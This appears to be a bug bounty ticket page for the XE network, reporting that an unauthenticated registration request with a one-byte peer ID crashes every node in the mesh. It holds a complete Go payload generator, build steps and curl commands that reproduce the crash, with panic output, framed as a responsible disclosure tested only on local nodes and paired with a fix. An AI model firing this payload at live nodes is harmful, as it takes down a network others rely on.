<!-- XE-0006 · Unauthenticated POST /directory/register kills every node in the mesh · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0006>. The page is the record; this is the same page for reading.*

XE-0006 · Bounty

# Unauthenticated POST /directory/register kills every node in the mesh

Awarded
Severe
[xe#15](https://github.com/xeprotocol/xe/issues/15)
filed 2026-10-23 10:01 UTC
by harismanciripto111

Verdict
:   Valid

Tier
:   Severe

Claimed
:   Severe

Area
:   Consensus

Duplicate of
:   —

Tracked
:   internally

Award
:   12,500 XE approved
    · ceiling 25,000

Updated
:   2026-11-07 14:52 UTC

### Patches

- [xe#27](https://github.com/xeprotocol/xe/pull/27) open by ocakciomursel-pixel
  fix(directory,node): validate NodePeer libp2p peer ID and guard directory gossip against panics
- [xe#111](https://github.com/xeprotocol/xe/pull/111)
- [xe#1029](https://github.com/xeprotocol/xe/pull/1029) merged

### History

- [9823](https://bounty.xe.network/log/9823) 2026-11-05 22:13 UTC github.labels
- [9721](https://bounty.xe.network/log/9721) 2026-11-05 22:12 UTC ticket.status patched → awarded
- [9718](https://bounty.xe.network/log/9718) 2026-11-05 22:12 UTC ticket.award
- [9717](https://bounty.xe.network/log/9717) 2026-11-05 22:12 UTC proposal.adopted
- [9716](https://bounty.xe.network/log/9716) 2026-11-05 22:12 UTC ticket.award
- [9715](https://bounty.xe.network/log/9715) 2026-11-05 22:12 UTC proposal.rejected
- [6857](https://bounty.xe.network/log/6857) 2026-11-05 13:45 UTC proposal.created
- [1780](https://bounty.xe.network/log/1780) 2026-11-02 19:16 UTC proposal.created
- [1437](https://bounty.xe.network/log/1437) 2026-11-02 10:10 UTC note.added
- [657](https://bounty.xe.network/log/657) 2026-10-29 14:22 UTC note.added
- [656](https://bounty.xe.network/log/656) 2026-10-29 14:22 UTC patch.linked
- [655](https://bounty.xe.network/log/655) 2026-10-29 14:22 UTC patch.linked

[Full history](https://bounty.xe.network/log?ref=XE-0006) · [JSON](https://bounty.xe.network/v1/tickets/XE-0006) · [markdown](https://bounty.xe.network/XE-0006.md)

### Report

Why this is a public issue. Your policy routes Severe findings to security@xe.network first. That address bounced with "address not found", so I am filing here. Happy to move this to a private channel if one exists.

node.handleDirectoryGossip slices reg.NodePeer\[:12\] as an argument to logging.Debugf. Go evaluates arguments before the call, so it panics at the default --log-level info.

directory.VerifyRegistration (directory/verify.go:29-53) only rejects an empty node\_peer, and canonicalBytes is length-prefixed, so a one-byte node\_peer still yields a valid ed25519 signature.

POST /directory/register needs no auth. The node verifies the signature, accepts, publishes on xe/directory, then the consuming goroutine panics. No recover there, so the process exits code 2\. Every peer receiving the registration dies the same way.

node/node.go:2381:

logging.Debugf("directory: accepted registration for %s on %s",
shortAddr(reg.Account), reg.NodePeer\[:12\])

logging.Debugf is a plain function (logging/logging.go:154), so the slice runs even at info level. net/msg.go:71 has a recover, but that is the P2P stream, a different path.

git clone https://github.com/xeprotocol/xe \&\& cd xe
go build -o /tmp/xe-node ./cmd/xe
go build -o /tmp/gen-reg ./poc/gen-reg
/tmp/xe-node node --data /tmp/xev/data --genesis-dir ./genesis/testnet-0005
--port 29001 --api-port 28081 --api-bind 127.0.0.1
--no-discovery --disable-mdns --metrics-addr "" \&
curl -s -o /dev/null -w '%{http\_code}\\n' http://127.0.0.1:28081/node \# 200
/tmp/gen-reg A \> /tmp/reg.json
curl -s -i -X POST http://127.0.0.1:28081/directory/register
-H 'Content-Type: application/json' --data @/tmp/reg.json

# HTTP/1.1 200 OK {"ok":true}

curl -s -o /dev/null -w '%{http\_code}\\n' http://127.0.0.1:28081/node

# curl: (7) Connection refused

panic: runtime error: slice bounds out of range \[:12\] with length 1
node.(\*Node).handleDirectoryGossip node/node.go:2381
node.New.func30() node/node.go:575

Controls. Same request with node\_peer set to a real 52 character peer ID: 200, logged, node alive, 0 panics. So the field length is the cause, not posting a registration. Three nodes chained A-B-C on the same genesis, registration sent to A only: all three proc\=DEAD panic\=1, and C was never contacted by the attacker. A unit test feeding 1, 3 and 8 byte peer IDs into directory shows both VerifyRegistration and Register accept them.

Impact. The attacker signs their own registration with their own keypair. The kill spreads through the node's own mesh, so the blast radius is set by how far the mesh carries the message.

Not proven. The PoC ran on nodes built from this source with the published genesis, not the live nodes. Firing it at ldn/nyc/ffm.core.test.network would take the public testnet down for every other researcher on it. Live I only confirmed the route is reachable unauthenticated: a bad signature returns 400 {"error":"signature verification failed"}. Live reports xe/92d83d1; the vulnerable line is present from a47b973 through 9787859\. No ledger corruption, no fund loss, availability only.

Fix. peer.Decode(reg.NodePeer) in directory/verify.go, shortHash at node.go:2381, and a recover on the goroutine at node.go:575.

Prior art. PR #5, #7, #9, #11 touch directory/ or node/node.go, none touch reg.NodePeer\[:12\] or handleDirectoryGossip. PR #7 edits verify.go but if reg.NodePeer \=\= "" stays the only NodePeer check. Issue #6 is timestamp poisoning and map growth; the only panic in the tracker is #8 Finding 4 in net/sync.go.

### Thread

**harismanciripto111**2026-10-23 10:08 UTCgithub

Correction to the report above. Two things went wrong when I filed it.

**1\. The metadata header was stripped.** GitHub's markdown ate the leading block, so the tier claim and the version tested are missing from the body. They belong at the top:

**Area:** State chain and multisig governance / account directory
**Suggested tier:** Severe (25,000 XE). Policy row "Node compromise, ledger loss \& network stalls: crash from crafted input".
**Version tested:** `978785929bc17a2f4ab30c383e5fc9cf4d634512` (HEAD) with the published `testnet-0005` genesis.
**CWE:** CWE-248 (Uncaught Exception)

**2\. The build instructions in the body point at a directory that does not exist in your repo.** I wrote `go build -o /tmp/gen-reg ./poc/gen-reg`, but `poc/` was my own working directory and is not tracked, so that command fails on a clean clone. Sorry, that is on me. Here is the payload generator in full. Drop it anywhere inside a clone of your repo and it builds:

```
// gen-reg/main.go
package main

// Emits a cryptographically valid directory registration JSON whose
// node_peer is short. usage: gen-reg <node_peer> [network_id]

import (
 "crypto/ed25519"
 "crypto/rand"
 "crypto/sha256"
 "encoding/binary"
 "encoding/hex"
 "encoding/json"
 "fmt"
 "os"
 "strconv"
 "time"

 "github.com/xeprotocol/xe/core"
 "github.com/xeprotocol/xe/directory"
)

const registrationDomainTag = "xe/directory-registration/v1\x00"

func canonicalBytes(account, pubKey, nodePeer string, timestamp int64) []byte {
 var b []byte
 var lenBuf [8]byte
 b = append(b, []byte(registrationDomainTag)...)
 for _, f := range []string{core.GetNetworkID(), account, pubKey, nodePeer, strconv.FormatInt(timestamp, 10)} {
  binary.BigEndian.PutUint64(lenBuf[:], uint64(len(f)))
  b = append(b, lenBuf[:]...)
  b = append(b, []byte(f)...)
 }
 return b
}

func main() {
 nodePeer := "A"
 if len(os.Args) > 1 {
  nodePeer = os.Args[1]
 }
 netID := "testnet-0005"
 if len(os.Args) > 2 {
  netID = os.Args[2]
 }
 core.SetNetworkID(netID)

 _, priv, err := ed25519.GenerateKey(rand.Reader)
 if err != nil {
  panic(err)
 }
 kp := core.KeyPairFromSeed(priv.Seed())
 pub := kp.PubKeyHex()
 account := kp.Address()
 ts := time.Now().UnixNano()

 sum := sha256.Sum256(canonicalBytes(account, pub, nodePeer, ts))
 sig := ed25519.Sign(priv, sum[:])

 reg := &directory.Registration{
  Account:   account,
  PubKey:    pub,
  NodePeer:  nodePeer,
  Timestamp: ts,
  Signature: hex.EncodeToString(sig),
 }
 if err := directory.VerifyRegistration(reg); err != nil {
  fmt.Fprintln(os.Stderr, "verify failed:", err)
  os.Exit(1)
 }
 out, _ := json.Marshal(reg)
 fmt.Println(string(out))
}
```

The generator runs `directory.VerifyRegistration` on its own output before printing, so if the signature were malformed it would exit non-zero instead of handing you a bad payload. `node_peer` and `network_id` are the two arguments; the timestamp is generated at runtime.

Reproduction with the corrected path, run just now on a fresh `git clone --depth 1` of `9787859`:

```
mkdir -p harness/gen-reg && cp gen-reg.go harness/gen-reg/main.go
go build -o /tmp/xe-node ./cmd/xe
go build -o /tmp/gen-reg  ./harness/gen-reg

/tmp/xe-node node --data /tmp/xev/data --genesis-dir ./genesis/testnet-0005 \
  --port 29001 --api-port 28081 --api-bind 127.0.0.1 \
  --no-discovery --disable-mdns --metrics-addr "" &

curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:28081/node    # 200
/tmp/gen-reg A > /tmp/reg.json
curl -s -o /dev/null -w '%{http_code}' -X POST \
  http://127.0.0.1:28081/directory/register \
  -H 'Content-Type: application/json' --data @/tmp/reg.json          # 200
sleep 3
curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:28081/node    # 000
```

```
BEFORE: 200
POST: 200
AFTER: 000
panic count: 1
panic: runtime error: slice bounds out of range [:12] with length 1
node.(*Node).handleDirectoryGossip(...)   node/node.go:2381
```

Nothing else in the report changes. The root cause, the two controls and the three node result stand as written.
